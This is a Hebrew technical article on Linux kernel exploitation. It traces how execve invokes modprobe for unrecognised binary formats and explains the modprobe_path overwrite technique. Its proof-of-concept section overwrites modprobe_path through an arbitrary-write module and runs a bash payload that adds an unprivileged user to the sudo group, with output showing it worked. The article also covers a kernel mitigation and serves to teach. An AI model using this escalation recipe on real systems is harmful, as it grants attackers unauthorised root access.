digital whisper Technologic Papers

modprobe_path: Hit & Run

מאת דביר גולן

הקדמה

בזמן האחרון אנחנו שומעים יותר ויותר על חולשות שנמצאו ברכיבים של netlink בכלל (למשל CVE-2021-43784, CVE-2021-27365, CVE-2020-0066) ו-netfilter בפרט (למשל CVE-2022-39190, CVE-2022-3544, CVE-2022-34918). כפי שנכתב בבלוג הזה:

> "*Netfilter (net/netfilter) is a large networking subsystem in the kernel. Essentialy, it places hooks all throughout the regular networking modules that other modules can register handlers for. When a hook is reached, control is delegated to these handlers, and they can operate on the respective network packet structure. The handlers can accept, drop, or modify the packets.*"

כאשר קראתי הפוסט המצוין (והארוך) הזה על ניצול של חולשת use-after-free ב-netfilter, נתקלתי בשימוש בשיטה בשם "modprobe_path overwriting" על מנת להשיג הרצת קוד. בפוסט לא התעמקו יותר מדי בשיטה זו שהייתה פחות רלוונטית לחולשה המדוברת, אך משום שזו נראתה לי שיטה מאוד נוחה ופשוטה יחסית לטכניקות אחרות בעולם של kernel exploitation, שלא דורשת יותר מדי התעסקות, היא סיקרנה אותי ורציתי ללמוד עוד עליה.

במאמר זה נחקור יחד את הטכניקה של דריסת modprobe_path, ונבין למה וכיצד היא עובדת.

קצת על LKMs, modprobe ומה שביניהם

Loadable Kernel Modules, או בקיצור LKM, הם בינארים המשמשים להרחבת הפונקציונליות של הקרנל. LKMs קומפלו כך שמשתמשים ב-Kernel API (בשונה למשל מקוד של תוכניות ב-user space שיכולות להשתמש ב-libc), וניתן לטעון אותם לקרנל ולהסירם ממנו באופן דינמי, כלומר בזמן שהמערכת למעלה והקרנל כבר רץ (למעשה זה אפשרי רק אם הקרנל קומפל עם תמיכה במודולים - עוד על כך בהמשך). דוגמה לסוג של מודולים הם דרייברים שמאפשרים לתקשר עם חומרה, כמו למשל עכבר, מקלדת וכו' (מסתבר שניתן לכתוב דרייברים מסוימים גם ב-space user, אבל לא נתעכב על זה הפעם).

סיבה אחת לשימוש במודולים במקום לקמפל את כל הקוד שלהם לקרנל היא שאנחנו פשוט לא צריכים אותם. למשתמש ספציפי אין שום צורך בתמיכה בתקשורת עם כמות רבה של עכברים של חברות שונות (דבר שגם יגדיל את הקרנל למימדים עצומים), כאשר כל אחת מממשת את התקשורת בצורה שונה. גם אילו היינו כוללים את כל הקוד של המודולים הללו בקרנל, בכל פעם שיש עדכון לקטע קוד מסוים שמגיע מצד החברות, היה עלינו לבנות את כל הקרנל מחדש ולאתחל את המערכת.

אנחנו בתור מפתחים ומשתמשים מבקשים להיות מסוגלים להוסיף פונקציונליות לקרנל בצורה נוחה ודינמית ללא צורך ב-reboot של המערכת או קימפול מחדש של הקרנל, וזה דבר ש-LKMs מאפשרים. נציין כי למעשה ניתן לשלוט בחלק מהפונקציונליות של הקרנל כאשר הוא נבנה. ניקח דגימה מאחד הקבצים אשר מכילים את הקונפיגורציה של הקרנל:

```
/boot/config-`uname -r` || /usr/src/linux-headers-`uname -r`/.config
CONFIG_ZPOOL=y
CONFIG_ZBUD=y
CONFIG_Z3FOLD=m
CONFIG_ZSMALLOC=y
# CONFIG_ZSMALLOC_STAT is not set
CONFIG_GENERIC_EARLY_IOREMAP=y
```

אנחנו שמים לב שלאחר חלק מההגדרות מופיעה האות "y", לחלקן מופיעה האות "m", וחלק אחר בכלל "not set". בלינק הזה מופיע הסבר לתופעה:

> *"The kernel configuration program will step through every configuration option and ask you if you wish to enable this option or not. Typically, your choices for each option are shown in the format [Y/m/n/?] The capitalized letter is the default, and can be selected by just pressing the Enter key. The four choices are:*
>
> *y - Build directly into the kernel.*
>
> *n - Leave entirely out of the kernel.*
>
> *m - Build as a module, to be loaded if needed.*
>
> *? - Print a brief descriptive message and repeat the prompt."*

כלומר, ניתן להחליט איזו פונקציונליות תיבנה בזמן קומפילציה בקרנל, איזו פונקציונליות תיארז בתור LKM כך שהיא לא תהיה חלק מהקרנל אבל יהיה ניתן לטעון אותה אליו דינמית, וכן איזו פונקציונליות להשמיט מהקרנל. ישנן דרכים שונות לטעון (ולהסיר) מודולים לקרנל. אחת מהן היא שימוש בכלי modprobe, אשר לפי ויקיפדיה:

> *"modprobe is a Linux program originally written by Rusty Russell and used to add a loadable kernel module to the Linux kernel or to remove a loadable kernel module from the kernel. It is commonly used indirectly: udev relies upon modprobe to load drivers for automatically detected hardware.*
>
> *...*
>
> *The modprobe program offers more full-featured "Swiss-army-knife" features than the more basic insmod and rmmod utilities, with the following benefits:*
>
> - *An ability to make more intuitive decisions about which modules to load*
> - *awareness of module dependencies, so that when requested to load a module, modprobe adds other required modules first*
> - *the resolution of recursive module dependencies as required"*

ננסה להריץ את modprobe ללא פרמטרים ונקבל:

```
~# modprobe
modprobe: ERROR: missing parameters. See -h.
```

סך הכל הגיוני. נמצא את הנתיב של modprobe:

```
~# which modprobe
/usr/sbin/modprobe
```

אבל נשים לב שהוא symlink לקובץ אחר:

```
~# ls -l /usr/sbin/modprobe
lrwxrwxrwx 1 root root 9 Feb 17  2022 /usr/sbin/modprobe -> /bin/kmod
```

וכאשר נריץ את /bin/kmod נקבל פלט שונה מזה שקיבלנו כשהרצנו את modprobe:

```
~# /bin/kmod
missing command
kmod - Manage kernel modules: list, load, unload, etc
Usage:
    kmod [options] command [command_options]

Options:
    -V, --version     show version
    -h, --help        show this help

Commands:
  help         Show help message
  list         list currently loaded modules
  static-nodes outputs the static-node information installed with the currently running
kernel

kmod also handles gracefully if called from following symlinks:
  lsmod        compat lsmod command
  rmmod        compat rmmod command
  insmod       compat insmod command
  modinfo      compat modinfo command
  modprobe     compat modprobe command
  depmod       compat depmod command
```

וכאן אנו נחשפים לפקודות נוספות שאפשר לבצע בהקשר של מודולים:

- lsmod - מציג מידע אודות מודולים שטעונים לקרנל
- rmmod - מסיר מודולים מהקרנל
- insmod - טוען מודולים לקרנל
- modinfo - מציג מידע אודות מודולים ספציפיים
- depmod - מג'נרט רשימה של תלויות בין מודולים (ועוד).

נשתמש בפקודה strace על מנת לגלות כיצד insmod טוען מודול לקרנל. לצורך זה נשתמש במודול בסיסי בשם arbitrary_write שכתבתי לצורך המאמר (את הקוד שלו ניתן לראות כאן). התוכן שלו לא רלוונטי עבור החלק הזה, אבל כידוע לכם אקדח אשר מופיע במערכה הראשונה, יירה במערכה השלישית ☺

```
~# strace insmod arbitrary_write.ko
execve("/usr/sbin/insmod", ["insmod", "arbitrary_write.ko"], 0x7fff6ea02088 /* 24 vars
*/) = 0
```

```
...

read(3, "\177ELF\2\1", 6)                       = 6
lseek(3, 0, SEEK_SET)                           = 0
fstat(3, {st_mode=S_IFREG|0664, st_size=335096, ...}) = 0
mmap(NULL, 335096, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f9f2c5ef000
finit_module(3, "", 0)                          = 0
munmap(0x7f9f2c5ef000, 335096)                  = 0
close(3)                                        = 0
exit_group(0)                                   = ?
+++ exited with 0 +++
```

ונשים לב לשימוש ב-finit_module, שהוא syscall אשר טוען לקרנל את קובץ ה-ELF המתואר על ידי ה- file descriptor שהוא מקבל (יש גם גרסה ל-syscall שמקבל ישירות את ה-ELF image במקום דרך קובץ, ושמו init_module) ומיד לאחר מכן מריץ את פונקציית ה-init של המודול (אותה ניתן גם להגדיר בעצמנו).

באותו אופן באשר להסרה של מודול מהקרנל בעזרת rmmod:

```
~# strace rmmod arbitrary_write
execve("/usr/sbin/rmmod", ["rmmod", "arbitrary_write"], 0x7ffe4a5aaf28 /* 24 vars */) =
0

...

openat(AT_FDCWD, "/sys/module/arbitrary_write/refcnt", O_RDONLY|O_CLOEXEC) = 3
read(3, "0\n", 31)                              = 2
read(3, "", 29)                                 = 0
close(3)                                        = 0
delete_module("arbitrary_write", O_NONBLOCK) = 0
exit_group(0)                                   = ?
+++ exited with 0 +++
```

ונשים לב לשימוש ב-delete_module, שהוא syscall אשר מריץ את פונקציית ה-exit של המודול (אותה ניתן גם להגדיר בעצמנו) ומיד לאחר מכן מנסה להסיר מהקרנל את המודול שהוא מקבל (למעשה הוא מקבל את שם המודול).

שווה לציין שאם נסתכל על ה-source code של delete_module נגלה:

```
  /* If it has an init func, it must have an exit func to unload */
  if (mod->init && !mod->exit) {
    forced = try_force_unload(flags);
    if (!forced) {
      /* This module can't be removed */
      ret = -EBUSY;
      goto out;
    }
  }
```

[module/main.c]

כלומר כאשר ננסה להסיר את המודול, אילו לא מוגדרת בו פונקציית exit אבל כן פונקציית init, ולא התאפשר לבצע לו force unloading, אז נקבל שגיאה מסוג EBUSY. למען הסדר הטוב אם נתבונן ב-מימוש של unload_force_try נראה שהוא נכשל אילו O_TRUNC לא נכלל בדגלים שהועברו אל delete_module.

(את כל זה היינו יכולים לגלות את זה גם מקריאה של פסקה ב-page man אבל זה קצת פחות מעניין ☺)

כעת נשתמש בפקודה "readelf --file-header" עבור קובץ מסוג "*.ko" (או kernel object file) על מנת לצפות ב-file header שלו (בעצם זה אותו הקובץ שטענו מקודם לקרנל):

```
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          332344 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           64 (bytes)
  Number of section headers:         43
  Section header string table index: 42
```

נשים לב שסוג הקובץ הוא relocatable file (להרחבה) וכן אין לו program headers כלל (אלו header-ים שנחוצים לטעינת קובץ ההרצה לזיכרון). נתבונן פעם נוספת ב-file header, הפעם של קובץ מסוג "*.o" (או object file):

```
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              REL (Relocatable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x0
  Start of program headers:          0 (bytes into file)
  Start of section headers:          3936 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         0
  Size of section headers:           64 (bytes)
  Number of section headers:         14
  Section header string table index: 13
```

אנחנו יכולים לראות שאולי למרות מה שהיינו מצפים, אין כל כך הבדל בפורמט של שני סוגי הקבצים. בפועל ההבדל הוא ש-kernel object מכיל מידע נוסף המתאר את המודול ודרוש לקרנל על מנת לטעון אותו. אם נציג לרגע file header של קובץ מסוג "*.so" (או shared object):

```
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
```

```
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x241c0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          2025240 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         14
  Size of section headers:           64 (bytes)
  Number of section headers:         68
  Section header string table index: 67
```

נשים לב שעדיין יש דמיון רב לקבצי ה-"*.ko" ו-"*.o", אך הפעם סוג הקובץ (Type) הוא שונה ואיתו נוספו גם ה-program headers, מה שאומר שקובץ זה אכן אמור להיטען לזיכרון (עוד דבר שמרמז על כך זה ה-"Entry point address", שבקבצים הקודמים שראינו היה עם ערך 0x0 אבל במקרה הנוכחי יש לו ערך קונקרטי).

להרחבת הקריאה על kernel modules ניתן לקרוא בדוקומנטציה. כעת נפסיק לכמה רגעים את הדיון על מודולים ו-modprobe ונעבור לבחון נושא אחר לגמרי (או שלא...): execve.

צוללים לתוך execve

למי שלא מכיר, execve הוא syscall שבעזרתו מריצים תוכניות חדשות מתוך תוכניות שכבר רצות (למעשה הוא מחליף את הקוד של התוכנית שכבר טעונה לזיכרון בקוד החדש ומאתחל אזורים נוספים בזיכרון). כאשר מפתחים כותבים קוד usermode-י ומשתמשים בפונקציה execve, הם לרוב קוראים למעטפת ש-glibc מספק, ובתוך המעטפת הזו מתבצעת הקריאה ל-syscall עצמו. הפונקציה הקרנלית שמטפלת ב-syscall זה היא do_execve. להרחבה על execve מוזמנים לקרוא את ה-man page.

execve יודע לגרום לטעינת בינאריים לזיכרון ולבסוף להרצתם. אבל לא כל הבינאריים כתובים באותו פורמט, ישנם פורמטים מסוגים שונים, וכנראה הראשון שקפץ לכם עכשיו לראש הוא ELF המוכר והאהוב. נשאלת השאלה, כיצד execve מתמודד עם הפורמטים השונים ומצליח לטעון לזיכרון כל קובץ בהתאם לסוג שלו? בשביל להבין את זה, נלכלך קצת את הידיים ונתבונן בקוד המקור של לינוקס.

נתחיל מהפונקציה do_execve:

```
static int do_execve(struct filename *filename,
                     const char __user *const __user *__argv,
                     const char __user *const __user *__envp)
{
  struct user_arg_ptr argv = { .ptr.native = __argv };
  struct user_arg_ptr envp = { .ptr.native = __envp };
  return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}
```

[exec.c]

ונראה שהיא קוראת לפונקציה do_execveat_common אחרי אתחול של struct-ים שמחזיקים את הארגומנטים לתוכנית ומשתני הסביבה. עד כאן, שום דבר מיוחד.

```
static int do_execveat_common(int fd, struct filename *filename,
                              struct user_arg_ptr argv,
                              struct user_arg_ptr envp,
                              int flags)
{
  struct linux_binprm *bprm;

       ...

       bprm = alloc_bprm(fd, filename);

       ...

  retval = bprm_execve(bprm, fd, filename, flags);

       ...

       return retval;
}
```

[exec.c]

בפונקציה הזו אנחנו כבר נתקלים ב-struct בשם linux_binprm. כפי שכתוב בהערה בקוד המקור:

"*This structure is used to hold the arguments that are used when loading binaries*"

מי שיקרא את הקוד של do_execveat_common ישים לב שרובו מוקדש לאתחול שדות של bprm (פירוט על השדות ניתן למצוא ב[מאמר אחר מומלץ מהמגזין](), שמתעמק בפורמטים בינאריים יותר מאשר מה שנחוץ לנו כרגע), וכאשר נמשיך בשרשרת הקריאות יהיה ניתן לראות אתחול של שדות נוספים. אנחנו לא נתעכב על השימוש ב-linux_binprm ועל המשמעויות של כל השדות שלו משום שהם לא רלוונטיים למטרה שלשמה התכנסנו, ואילו מי שכן מעוניין בכך מוזמן להתחיל מלהציץ כאן.

בתוך bprm_execve מתבצעת הקריאה לפונקציה exec_binprm (אכן בחירת שמות משובחת), ובה נראה את הקריאה:

```
ret = search_binary_handler(bprm);
```

[exec.c]

נראה מבטיח.

```
static int search_binary_handler(struct linux_binprm *bprm)
{
  bool need_retry = IS_ENABLED(CONFIG_MODULES);
  struct linux_binfmt *fmt;
  int retval;

  retval = prepare_binprm(bprm);
  if (retval < 0)
    return retval;

  retval = security_bprm_check(bprm);
  if (retval)
    return retval;

  retval = -ENOENT;
 retry:
  read_lock(&binfmt_lock);
  list_for_each_entry(fmt, &formats, lh) {
    if (!try_module_get(fmt->module))
      continue;
    read_unlock(&binfmt_lock);

    retval = fmt->load_binary(bprm);

    read_lock(&binfmt_lock);
    put_binfmt(fmt);
    if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
      read_unlock(&binfmt_lock);
      return retval;
    }
  }
  read_unlock(&binfmt_lock);

  if (need_retry) {
    if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
        printable(bprm->buf[2]) && printable(bprm->buf[3]))
      return retval;
    if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
      return retval;
    need_retry = false;
    goto retry;
  }

  return retval;
}
```

[exec.c]

החיפוש של ה-binary handler המתאים מתבצע באופן הבא: הפונקציה עוברת על כל הפורמטים (מסוג struct_linux_binfmt) הקיימים ברשימה המקושרת formats, ועבור כל פורמט מנסה לקרוא לפונקציה ששמורה בשדה load_binary שלו. אם ה-format handler הנוכחי לא מתאים לסוג הקובץ, ממשיכים לפורמט הבא ברשימה (בפועל התנאי שנבדק הוא קצת יותר מורכב, מי שמתעניין יכול להסתכל לשם הדוגמה על binary handler קיים ולראות באילו מקרים מחזירים ENOEXEC- ובאיזה שלב של ה-loading קוראים לפונקציה begin_new_exec שמדליקה את השדה point_of_no_return).

בקוד של לינוקס קיימים מספר פורמטים ופונקציות load_binary מתאימות, כמו:

load_aout_binary, load_elf_binary, load_flat_binary, load_misc_binary, load_script

לצורך הדוגמה נתבונן בפונקציה load_script:

```
static int load_script(struct linux_binprm *bprm)
{
        ...

  /* Not ours to exec if we don't start with "#!". */
  if ((bprm->buf[0] != '#') || (bprm->buf[1] != '!'))
    return -ENOEXEC;

  /*
   * This section handles parsing the #! line into separate
   * interpreter path and argument strings..
   */

        ...

  /*
   * OK, now restart the process with the interpreter's dentry.
   */
  file = open_exec(i_name);
  if (IS_ERR(file))
    return PTR_ERR(file);

  bprm->interpreter = file;
  return 0;
}

static struct linux_binfmt script_format = {
  .module = THIS_MODULE,
  .load_binary  = load_script,
};
```

[binfmt_script.c]

כבר בתחילתה ניתן לראות שמתבצעת בדיקה האם שני התווים הראשונים של הקובץ הם "#!", שנקראים "shebang". אם אלו לא התווים, הפונקציה load_script, שאליה מצביע השדה load_binary של ה- format handler המתאים, מחזירה ENOEXEC- כדי לסמן ל-search_binary_handler להמשיך בחיפוש.

load_script למעשה מאפשרת לנו להריץ את ה-interpreter שכתוב מיד אחרי ה-"shebang", אשר לבסוף הוא זה שיפרש את הקוד בקובץ.

בחזרה ל-search_binary_handler. אמרנו שעוברים על הרשימה של הפורמטים ומנסים למצוא format handler שידע להתמודד עם סוג הקובץ. אבל במידה ומדובר בסוג קובץ לא מוכר, אנו עלולים להגיע למצב של מיצוי רשימת הפורמטים בלי שמצאנו format handler מתאים.

במקרה כזה אנו מגיעים לצומת דרכים: אם CONFIG_MODULES לא מוגדר (נדבר עליו בהמשך, אבל בגדול זאת הגדרת קונפיגורציה שניתן לאפשר אותה כשמקפלים את הקרנל), מחזירים שגיאה. אחרת, נכנסים לקטע הקוד הבא:

```
if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
    printable(bprm->buf[2]) && printable(bprm->buf[3]))
  return retval;
if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
  return retval;
need_retry = false;
goto retry;
```

[exec.c]

בקטע זה מתבצעת בדיקה האם ארבעת הבתים הראשונים בקובץ הם דפיסים. המאקרו printable מוגדר באופן הבא:

```
#define printable(c) (((c)=='\t') || ((c)=='\n') || (0x20<=(c) && (c)<=0x7e))
```

[exec.c]

אם כל ארבעת הבתים הראשונים דפיסים הפונקציה תחזיר שגיאה (כמו במקרה ש-CONFIG_MODULES לא מוגדר), אבל במידה ויש בית לא דפיס, תתבצע קריאה ל-request_module עם מחרוזת שמכילה את "-binfmt" ומיד לאחריו יופיעו הבתים הרביעי והשלישי בהתאמה בפורמט הקסדצימלי, כלומר אם נניח כי ארבעת הבתים הראשונים של הקובץ הם: 0x01 0x02 0x03 0x04, אז השם של המודול יהיה:

binfmt-0403

בפונקציה __request_module אנחנו סוף כל סוף מגיעים לקריאה המיוחלת:

```
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
```

[kmod.c]

פירקנו, ועכשיו נרכיב

אז למעשה אנחנו מבינים שכאשר execve מתמודד עם קובץ מפורמט לא מוכר, בעזרת שימוש ב-modprobe הוא מנסה לטעון לקרנל מודול עם שם שתלוי בפורמט הקובץ. לאחר מכן הוא יעבור שוב על רשימת הפורמטים בניסיון להשתמש (אולי) במודול החדש שנטען, ואם גם זה לא יעבוד - אין מנוס מלהחזיר שגיאה. נבחן את הקוד של call_modprobe כדי לראות כיצד זה מתבצע:

```
static int call_modprobe(char *module_name, int wait)
{
  struct subprocess_info *info;
  static char *envp[] = {
    "HOME=/",
    "TERM=linux",
    "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
    NULL
  };

  char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
  if (!argv)
    goto out;

  module_name = kstrdup(module_name, GFP_KERNEL);
  if (!module_name)
    goto free_argv;

  argv[0] = modprobe_path;
  argv[1] = "-q";
  argv[2] = "--";
  argv[3] = module_name;  /* check free_modprobe_argv() */
  argv[4] = NULL;

  info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
           NULL, free_modprobe_argv, NULL);
  if (!info)
    goto free_module_name;

  return call_usermodehelper_exec(info, wait | UMH_KILLABLE);

free_module_name:
  kfree(module_name);
free_argv:
  kfree(argv);
out:
  return -ENOMEM;
}
```

[kmod.c]

בהתחלה הפונקציה "מרכיבה" את המערכים של משתני הסביבה והארגומנטים, ואז מריצה את הבינארי ה-usermode-י שנמצא בנתיב modprobe_path בהרשאות root (לא ניכנס לאיך הקרנל עושה את זה, אבל אתם יותר ממוזמנים לקרוא על זה כאן).

נעקוב אחרי הנתיב ששמור ב-modprobe_path כדי לוודא שהוא אכן הנתיב שראינו קודם. באותו קובץ בו כתובה הפונקציה call_modprobe נראה את ההגדרה:

```
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
```

ומשם נגיע לקובץ הקונפיגורציה:

```
config MODPROBE_PATH
  string "Path to modprobe binary"
  default "/sbin/modprobe"
  help
    When kernel code requests a module, it does so by calling
    the "modprobe" userspace utility. This option allows you to
    set the path where that binary is found. This can be changed
    at runtime via the sysctl file
    /proc/sys/kernel/modprobe. Setting this to the empty string
    removes the kernel's ability to request modules (but
    userspace can still load modules explicitly).
```

[Kconfig.c]

כלומר הנתיב ששמור ב-modprobe_path הוא /sbin/modprobe, ונראה שגם הוא symlink ל-/bin/kmod, בדומה ל-/usr/sbin/modprobe שראינו קודם:

```
~# ls -l /sbin/modprobe
lrwxrwxrwx 1 root root 9 Feb 17  2022 /sbin/modprobe -> /bin/kmod
```

modprobe_path overwriting technique

טכניקה בעולם של kernel exploitation שמשתמשת במה שראינו עד כה נקראת modprobe_path overwriting. נניח שבתור תוקפים הגענו למצב של write-what-where בקרנל, כלומר יש ביכולתנו לכתוב בתים בכתובת שרירותית לבחירתנו, ובנוסף יש ברשותנו כתובת קרנלית (למשל אם KASLR מופעל אז הצלחנו להדליף כתובת קרנלית). אם נחשב את הכתובת של הסימבול modprobe_path ונדרוס את הנתיב שנמצא בה עם נתיב לבחירתנו, נוכל לגרום להרצת קובץ בנתיב שרירותי עם הרשאות root!

איך בפועל נעשה זאת?

ניצור קובץ כלשהו עם פורמט לא מוכר כך שאחד מארבעת הבתים הראשונים שלו אינם דפיסים. לאחר מכן נדרוס את modprobe_path עם נתיב לקובץ לבחירתנו כפי שהסברנו קודם. כך אם נגרום ל-execve (או לאחד מאחיו) לנסות להריץ את הקובץ עם הפורמט הלא מוכר, למעשה תיקרא הפונקציה call_modprobe והקרנל יריץ עם הרשאות root את הקובץ בנתיב ששמור ב-modprobe_path. כלומר ירוץ קוד לבחירתנו עם הרשאות root. יותר טוב מזה לא יכולנו לבקש.

הגיע הזמן לדוגמה!

על מנת לדמות תרחיש write-what-where כתבתי מודול קטן ובסיסי אותו נטען לקרנל, אליו ניתן להעביר כתובת ואת הבתים שהוא יכתוב אליה (אפשר לראות את הקוד שלו כאן).

בנוסף, אנחנו יכולים לראות שהערך של modprobe_path תקני:

```
~# cat /proc/sys/kernel/modprobe
/sbin/modprobe
```

וכן קיים במערכת משתמש גנרי המשמש את התוקף:

```
~# id my_user
uid=1001(my_user) gid=1001(my_user) groups=1001(my_user)
```

כעת נעבור לצד התוקף. כפי שהסברנו קודם, אנחנו מניחים שביכולתנו להשיג/לחשב את הכתובת של הסימבול modprobe_path. כרגע בשביל למצוא אותה נוכל לבצע את הפקודה הבאה:

```
~# cat /proc/kallsyms | grep modprobe_path
ffffffffaa48b940 D modprobe_path
```

/proc/kallsyms מאפשר לנו לקבל את הרשימה של הסימבולים של הקרנל, גם כאלו שהם חלק מהקרנל המקומפל וגם סימבולים ששייכים ל-LKMs שטעונים כרגע לקרנל.

נשתמש בכתובת שמצאנו (940xffffffffaa48b0), כאשר את המידע השמור בה נדרוס בעזרת פרימיטב ה-arbitrary write. נציין שבגלל KASLR שהוזכר קודם, אם תבצעו את אותה הפקודה על המכונה שלכם אתם תראו כתובת שונה.

במקרה שלנו נבחר לדרוס את הבתים שכתובים בה (כלומר המחרוזת "/sbin/modprobe") עם המחרוזת "/tmp/payload", כאשר בקובץ payload יהיה הקוד אותו נרצה להריץ עם הרשאות root.

```
prepare_arbitrary_writes();

void *modprobe_path_addr = (void*) 0xffffffffaa48b940;
char *new_modprobe_path = "/tmp/payload";
arbitrary_write(modprobe_path_addr, new_modprobe_path, strlen(new_modprobe_path) + 1);

release_arbitrary_writes();
```

בנוסף, ניצור את שני הקבצים שדרושים לניצול: קובץ ה-payload עם הקוד שירוץ בהרשאות root וכן הקובץ שיהיה עם פורמט לא מוכר.

```
create_payload(new_modprobe_path);

char *broken_file_path = "/tmp/broken_file";
create_broken_file(broken_file_path);
```

קובץ ה-payload יכיל סקריפט פשוט שיוסיף את המשתמש my_user לקבוצה sudo:

```
#!/bin/bash
usermod -G sudo my_user
```

ואת קובץ "broken" ניצור בגודל 4 בתים ותוכנו:

```
~# hexdump -C /tmp/broken_file
00000000  01 02 03 04                                       |....|
```

לבסוף נגרום לפונקציה call_modprobe בקרנל להיקרא באמצעות:

```
void trigger_modprobe(char *broken_file_path) {
    system(broken_file_path);
}
```

הפלט שנקבל כאשר נריץ את ה-PoC ממחיש שאכן הפורמט של /tmp/broken_file הוא פורמט לא מוכר:

```
~# ./modprobe_path_overwrite
sh: 1: /tmp/broken_file: Exec format error
```

ונשים לב שהשתנו הדברים הבאים:

```
~# id my_user
uid=1001(my_user) gid=1001(my_user) groups=1001(my_user),27(sudo)
~# cat /proc/sys/kernel/modprobe
/tmp/payload
```

כלומר הנתיב ששמור ב-modprobe_path השתנה ל-/tmp/payload וכן למשתמש שלנו my_user נוספה הקבוצה sudo, משמע הסקריפט שכתוב בקובץ /tmp/payload אכן רץ.

כפי שאתם בוודאי שמתם לב הטכניקה הזו מאוד נקייה ופשוטה להבנה, כתיבה וניצול: היא לא דורשת שליטה ב-instruction pointer, שינויים והתאמות למחסנית (כמו למשל stack pivoting), חזרה נקייה לקוד כדי לא לחטוף kernel panic וכיוצא בזה. בנוסף, אין צורך להתחשב במעבר מ-user mode ל-kernel mode ולהיפך, שהרי הכתיבה ל-modprobe_path וה"הטרגה" עצמה של השיטה למען הרצת קוד, שתיהן מתבצעות בשלבים שונים ממקורות שונים ולא בהכרח ברצף.

מי מכם שמעוניין לראות כיצד הטכניקה הזו משתלבת בהשמשות אמיתיות בתחום של kernel exploitation יכול להתבונן ברשימה (החלקית) הבאה:

- CVE-2022-32250
- CVE-2022-27666
- CVE-2022-0185
- CVE-2021-32606
- CVE-2021-3609
- CVE-2017-8890
- CVE-2017-2636
- CVE-2016-8655

מיטיגציות

אם נחזור לרגע למימוש של call_modprobe, נראה שבשביל להריץ את הבינארי ה-usermode-י שנמצא בנתיב modprobe_path הוא מבצע את הקוד הבא:

```
info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
           NULL, free_modprobe_argv, NULL);
  if (!info)
    goto free_module_name;

  return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
```

[kmod.c]

בשלב מוקדם יותר לא נכנסנו לתוך המימוש של הפונקציה call_usermodehelper_setup, אבל נראה שהיא דווקא מכילה דבר מעניין:

```
struct subprocess_info *call_usermodehelper_setup(const char *path, char **argv,
    char **envp, gfp_t gfp_mask,
    int (*init)(struct subprocess_info *info, struct cred *new),
    void (*cleanup)(struct subprocess_info *info),
    void *data)
{
  struct subprocess_info *sub_info;
  sub_info = kzalloc(sizeof(struct subprocess_info), gfp_mask);
  if (!sub_info)
    goto out;

  INIT_WORK(&sub_info->work, call_usermodehelper_exec_work);

#ifdef CONFIG_STATIC_USERMODEHELPER
  sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH;
#else
  sub_info->path = path;
#endif
  sub_info->argv = argv;
  sub_info->envp = envp;

  sub_info->cleanup = cleanup;
  sub_info->init = init;
  sub_info->data = data;
  out:
  return sub_info;
}
```

[umh.c]

נשים לב שהשדה path של ה-struct של sub_info לא בהכרח יכיל את הנתיב שהעברנו לפונקציה! (בקונטקסט שלנו, modprobe_path). אם CONFIG_STATIC_USERMODEHELPER מוגדר, הנתיב למעשה יהיה הנתיב ששמור תחת STATIC_USERMODEHELPER_PATH, ואילו [argv]0 יוותר ללא שינוי.

ההגדרה של CONFIG_STATIC_USERMODEHELPER מאפשרת לנו לקבע את הבינארי ה-usermode-י שהקרנל יגרום להרצתו להיות זה שבנתיב STATIC_USERMODEHELPER_PATH (דיפולטית הוא /sbin/usermode-helper), והוא בתורו יריץ את הבינארי בנתיב [argv]0. כמובן שהוא לא יריץ אותו "על עיוור" שכן אחרת למעשה לא שיפרנו כלום, אלא הוא יודע לפלטר את הנתיבים שהוא מקבל ולבחור מה

מהם להריץ ועם אילו הרשאות. נעבור כעת לפונקציה call_usermodehelper_exec אשר מקבלת את ה-struct info אותו call_usermodehelper_setup החזירה:

```
int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait)
{
        ...

  /*
   * If there is no binary for us to call, then just return and get out of
   * here.  This allows us to set STATIC_USERMODEHELPER_PATH to "" and
   * disable all call_usermodehelper() calls.
   */
  if (strlen(sub_info->path) == 0)
    goto out;

      ...

out:
  call_usermodehelper_freeinfo(sub_info);

      ...

  return retval;
}
```

[umh.c]

